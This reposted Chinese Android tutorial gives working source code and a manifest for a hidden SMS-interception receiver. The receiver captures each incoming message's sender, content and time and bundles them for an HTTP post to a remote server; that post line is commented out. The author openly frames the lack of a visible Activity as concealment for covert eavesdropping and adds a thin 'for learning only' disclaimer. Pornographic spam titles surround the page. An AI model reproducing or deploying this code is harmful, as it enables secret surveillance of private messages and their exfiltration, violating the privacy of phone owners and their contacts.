麻豆小视频在线观看_中文黄色一级片_久久久成人精品_成片免费观看视频大全_午夜精品久久久久久久99热浪潮_成人一区二区三区四区

首頁 > 系統 > Android > 正文

android短信監聽工具(示例代碼)

2020-04-11 12:01:44
字體:
來源:轉載
供稿:網友

在學習本實例之前,讀者請先了解一下android四大組件中的“廣播接收者”的基本概念和使用。

由于是“監聽程序”,所以就不需要建立Activity。這樣也算是一種“遮掩”吧。使用BroadcastReceiver,就能達到這“不可告人”的目的。呵呵。當然,使用服務來開發此類應用,更加合適。這里就不再深入討論“服務”了。本實例僅供學習參考,請勿非法用途。

復制代碼 代碼如下:

package cn.itcast.sms;

import java.sql.Date;
import java.text.SimpleDateFormat;
import java.util.HashMap;
import java.util.Map;

import cn.itcast.utils.SocketHttpRequester;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.telephony.SmsMessage;
import android.util.Log;

public class SMSBroadcastReceiver extends BroadcastReceiver {
    //在接受者這邊獲取短信相關信息,將相關信息發到服務器上進行竊聽
 @Override
 public void onReceive(Context context, Intent intent) {
  Object[] pduses = (Object[])intent.getExtras().get("pdus");
  for(Object pdus : pduses){
   byte[] pdusmessage = (byte[]) pdus;//沒一條短信
   SmsMessage sms = SmsMessage.createFromPdu(pdusmessage);
   String mobile = sms.getOriginatingAddress();//得到電話號碼
   String content = sms.getMessageBody();//得到短信的內容
   Date date = new Date(sms.getTimestampMillis());//得到發送短信具體時間
   //2009-10-12 12:21:23
   SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");//為實踐設置格式
   String sendtime = format.format(date);
   Map<String, String> params = new HashMap<String, String>();
   params.put("method", "getSMS");//將與短信相關的內容全部都放到集合里
   params.put("mobile", mobile);
   params.put("content", content);
   params.put("sendtime", sendtime);
   try {//利用socket向服務器發送竊聽到的內容
    //SocketHttpRequester.post("http://192.168.1.100:8080/videoweb/video/manage.do", params, "UTF-8");
   } catch (Exception e) {
    Log.e("SMSBroadcastReceiver", e.toString());
   }
  }
 }

}


注意修改Android項目文件的配置
復制代碼 代碼如下:

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
      package="cn.itcast.sms"
      android:versionCode="1"
      android:versionName="1.0">
    <application android:icon="@drawable/icon" android:label="@string/app_name">
  <receiver android:name=".SMSBroadcastReceiver">
   <intent-filter>
    <action android:name="android.provider.Telephony.SMS_RECEIVED"/>
   </intent-filter>
  </receiver>

    </application>
    <uses-sdk android:minSdkVersion="8" />
<uses-permission android:name="android.permission.RECEIVE_SMS"/><!-- 接收短信權限 -->
 <!-- 訪問網絡的權限 -->
<uses-permission android:name="android.permission.INTERNET"/>
</manifest>


最后說一點,Android中廣播的注冊機制,其實有2種方式(上文中使用的是第二種方式--配置項目清單文件)。

第一,通過代碼的方式注冊;


當實現了廣播接收器,還要設置廣播接收器接收廣播信息的類型,這里是信息:android.provider.Telephony.SMS_RECEIVED

我們就可以把廣播接收器注冊到系統里面,可以讓系統知道我們有個廣播接收器。這里有兩種,一種是代碼動態注冊:

復制代碼 代碼如下:

//生成廣播處理 
smsBroadCastReceiver = new SmsBroadCastReceiver(); 
//實例化過濾器并設置要過濾的廣播 
IntentFilter intentFilter = new IntentFilter(); 
intentFilter.addAction(SMS_ACTION); 

//注冊廣播 
BroadCastReceiverActivity.this.registerReceiver(smsBroadCastReceiver, intentFilter); 

發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
主站蜘蛛池模板: 亚洲小视频在线观看,com | 国产一区二区三区四区波多野结衣 | 青草久久网 | 九九精品在线观看视频 | 女人裸体让男人桶全过程 | 欧美成人精品不卡视频在线观看 | 色淫湿视频 | 天天看天天摸天天操 | 一区二区三区四区高清视频 | 特黄一区二区三区 | 日韩毛片在线看 | 免费久久精品 | 精品一区免费 | 素人视频免费观看 | 国产jjizz一区二区三区视频 | 国产亚洲精品久久久久久久久 | 斗罗破苍穹在线观看免费完整观看 | 1区2区3区在线观看 欧美特黄a | 狠狠干91 | 国产深夜福利视频在线播放 | 久久艹综合 | 久久精品中文字幕一区二区 | 欧美hdfree性xxxx | 亚洲影视在线 | 久久精品23 | 国产一级αv片免费观看 | 蜜桃av鲁一鲁一鲁一鲁 | 精品国产一区二 | 国产福利视频 | av老司机久久 | 午夜视频中文字幕 | 97zyz成人免费视频 | 精品成人免费一区二区在线播放 | 亚洲福利在线观看视频 | 一本色道久久久888 香蕉视频99 | 国产精品视频中文字幕 | 久久人人做 | 欧美成人精品不卡视频在线观看 | 国产韩国精品一区二区三区久久 | 高清av在线| 亚洲第一视频在线 |